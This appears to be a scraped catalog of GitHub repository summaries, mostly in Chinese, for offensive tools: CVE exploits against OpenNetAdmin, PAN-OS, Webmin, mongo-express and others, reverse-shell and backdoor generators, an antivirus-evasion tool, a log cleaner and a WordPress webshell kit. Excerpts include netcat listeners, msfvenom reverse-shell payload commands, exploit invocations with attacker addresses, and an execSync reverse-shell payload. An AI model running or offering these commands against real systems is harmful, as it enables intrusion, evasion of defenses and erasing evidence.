CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 远程代码执行 ⚠️ 免责声明 本仓库严格仅供教育和研究目的使用 。 此处提供的信息和代码仅可用于受控环境 ，例如私有实验室机器。 未经授权将本代码用于非您所有或未经明确许可测试的系统，属于非法且不道德的行为。 作者不对任何滥用或造成的损害负责 。 🔍 关于漏洞 OpenNetAdmin 18.1.1 通过 xajax AJAX 请求接口存在远程代码执行漏洞。 该漏洞源于不正确的输入清理，允许通过向 /ona/ 发送特制的 POST 请求进行命令注入。 此漏洞利用 tooltips 插件触发反向 shell...

freedomfighting

自由抗争脚本 此仓库包含一些在自由抗争活动中可能派上用场的脚本。它会偶尔更新，当我自己需要某些找不到在线资源的东西时。这里的所有内容均遵循 GPL v3 许可证 条款发布。 欢迎贡献和拉取请求。 目录 nojail.py，一个 Python 日志清理工具。 share.sh，一个安全文件共享脚本。 autojack.py，一个终端日志记录器。 listurl.py，一个站点映射器。 ersh.py，一个加密反向 Shell。 bootcheck.py，一个检测邪恶女佣攻击的脚本。 notifyhook.py，一种在系统上调用某些二进制文件时触发警报的方式。 杂项（联系与捐赠）...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 Exploit para CVE-2022-25765 inyección de comandos en pdfkit 0.8.6 Ver más detalles sobre la vulnerabilidad here PoC Ejecuta netcat en tu host: $ nc -lvnp 1337 Ejecuta el exploit ejemplo: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...

Zerodoor

ZeroDoor 一个懒人写的脚本，用于随时随地生成反向shell后门，满足日常渗透需求，无需任何麻烦。 这些后门不是詹姆斯·邦德式的高科技玩意，而是简单的后门，以防止过度利用和限制功能。 一旦你以某种方式生成有效载荷并在目标系统上执行，无论是Windows还是类Unix系统。 一旦执行，你将能够在被攻陷的主机上执行远程命令 : 快乐黑客 :D 截图 使用 python zerodoor.py 简要概述 没什么特别的，它包含三种基本的后门生成能力：- 1. 基于Unix 2. Windows（普通可执行文件 / PowerShell单行命令 / JavaScript后门）...

CVE-2018-11770

CVE-2018-11770 Apache Spark 未授权反向 Shell RCE 基于 该 Metasploit 模块 重写的独立 Python 3 RCE 漏洞利用程序 漏洞利用 POC 在此说明。利用代码本身 在此解释。 在 Python 3.7 环境下 对该目标 进行了测试。 使用方法： root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -f jar -o payload/exploit.jar Paylo...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit CVE-2020-15778（OpenSSH漏洞）利用工具 示例：python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 在使用 Python 脚本之前，你需要先使用 netcat 监听端口 示例：nc -lvp 1234 1.使用脚本的截图 2.获取 shell 的截图 2021-7-21 更新日志： 使用 python-nmap 检查主机状态 用法：python3 CVE-2020-15778-Update.py -ip...

HTTP-revshell

Powershell HTTP/S 反向Shell HTTP-revshell 是一个专注于红队演练和渗透测试人员的工具。该工具通过 HTTP/HTTPS 协议提供反向连接。它利用隐蔽信道，通过 Web 请求获取对受害机器的控制，从而规避 IDS、IPS 和 AV 等解决方案。 注意：该工具后续不会在免杀方面进行维护。只需进行少量修改，就能绕过市面上许多 EDR。 server.py 帮助 服务端使用方式： usage: server.py -h --ssl --autocomplete host port positional arguments: host 监听主机 port 监听端...

CVE-2018-14772

CVE-2018-14772 信息 这是用于 CVE-2018-14772 的概念验证远程代码执行漏洞利用程序，该漏洞是我在 pydio 文件共享平台中发现的。它需要拥有 pydio 应用程序管理员凭证才能运行。你可以这样运行该利用程序： 用法 $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload PAYLOAD exploit some pydio boxes academically optional...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 与 CVE-2024-9474（Palo Alto PAN-OS）漏洞利用 🔐 🛡️ 描述 此概念验证（PoC）脚本针对 Palo Alto PAN-OS 中的漏洞，具体为 CVE-2024-0012 和 CVE-2024-9474 ，通过自动化利用过程，包括身份验证绕过、载荷生成、分块传输和无缝命令执行。 ⚠️ 此脚本仅用于教育和授权的渗透测试目的。未经授权使用是非法的。 🔍 涉及的漏洞 CVE-2024-0012 类型 ：身份验证绕过 影响 ：允许未经授权访问管理界面。 严重性 ：🚨 严重 CVE-2024-9474 类型 ：命令执行与权限提升 影响...

poc-cve-2023-2868

CVE-2023-2868: Inyección de comandos en Barracuda ESG Para más detalles, lea nuestro Análisis de AttackerKB. Uso Configure las variables LHOST y RHOST para su listener. ruby poccve20232868.rb Esto generará una shell inversa...

CVE-2021-31762

CSRF-to-RCE ..| CVE-2021-31762 |.. 描述： 利用跨站请求伪造（CSRF）攻击，通过Webmin的添加用户功能创建特权用户，然后通过Webmin的运行进程功能获取反弹Shell 测试版本： Webmin 1.973（GitHub最新版本 2021/03/07） 攻击类型： 远程 影响： 远程命令执行 漏洞利用POC代码： YouTube POC： https://youtu.be/qCvEXwyaF5U 产品供应商： https://www.webmin.com 附加信息：...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 用于利用 PlaySMS 1.4.3 之前版本的 Python 脚本 执行 在你的机器上打开一个端口： 然后执行 exploit.py： ./exploit.py 修改漏洞利用 你可能想要更改 exploit.py 创建的反弹 Shell 为此，你可以更改 exploit.py 第 14 到 19 行的函数 createrevshellencoded： def createrevshellencodedlhost,lport: Change if you need revshell = "/?php //...

AVBypass

protección de evasión de antivirus requisitos golang instalado uso 1 - crea tu payload go run create.go ej: go run create.go 1.1.1.1 443 SecRetkira https://www.youtube.com/watch?v=Rv4VzpGCEEM 2 - en la carpeta output encontrarás shell.go, compílalo go build shell.go 3 - ahora tienes el archivo ex...

CVE-2023-38831-winrar-expoit-simple-Poc

CVE-2023-38831-winrar-expoit-simple-Poc 非常重要 我希望你先看这个链接 https://github.com/b1tg/CVE-2023-38831-winrar-exploit 我没有编写完整的漏洞利用程序。 他编写了漏洞利用程序 。 https://github.com/b1tg 他所做的只是修改了一些简单的东西，以通过 script.bat 文件获得一个反向 Shell 如何运行 python cve-2023-38831-exp-gen.py 别忘了修改 ip 和端口的值 使用任何 pdf、png 或 jpg 文件 POC 文件 .pdf...

CVE-2019-10758

CVE-2019-10758 mongo-express远程代码执行，反弹shell代码如下： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat /tmp/f |...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 我创建了简易的 react2shell CVE-2025-55182 Python 漏洞利用程序 用法 1. 保存脚本：将上述代码保存为 exploit.py。 2. 更新 Hosts：确保 reactor.htb 在你的 /etc/hosts 文件中解析到目标 IP。 echo " reactor.htb" | sudo tee -a /etc/hosts 3. 启动监听：打开一个终端以接收反弹 Shell。 nc -lvnp 4444 4. 执行漏洞利用：使用反弹 Shell 载荷运行脚本。 python3...

WPForce

WPForce - Wordpress 攻击套件 关于： WPForce 是一套 Wordpress 攻击工具。目前包含2个脚本 - WPForce（通过 API 暴力破解登录）和 Yertle（在管理凭据找到后上传 Webshell）。Yertle 还包含一些后利用模块。 更多信息请访问博客文章： https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/ 其他语言博客： 中文 - www.mottoin.com/100381.html 葡萄牙语 -...

CVE-2018-9276

CVE-2018-9276 PRTG 18.2.39 经过身份验证的命令注入（反向Shell） https://nvd.nist.gov/vuln/detail/CVE-2018-9276 改进版利用脚本，原作者为 https://github.com/M4LV0。 我使用了他们脚本中的POST数据，但使其更可靠，因为我之前使用原版时成功率不高。 有效载荷传递方式本质上是 smbdelivery。 Impacket 提供由 msfvenom 生成的 .dll，rundll32.exe 负责执行所有操作。 已在 Windows Server 2016 上针对 PRTG 18.1.37...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell 此脚本演示如何利用CVE-2024-32002漏洞获取反向shell，从而远程访问受影响系统。请在受控环境中谨慎使用，仅用于教育或安全测试目的。 博客文章 此脚本灵感来源于博客：https://amalmurali.me/posts/git-rce。 你可以在那里找到关于此漏洞的更多细节。 工作原理 1. 一个恶意仓库（gitrce）包含一个具有特殊设计路径的子模块。 2. 子模块路径利用大小写变化，利用不区分大小写的文件系统。 3. 子模块包含一个指向其 .git/ 目录的符号链接，该目录包含一个恶意钩子。 4...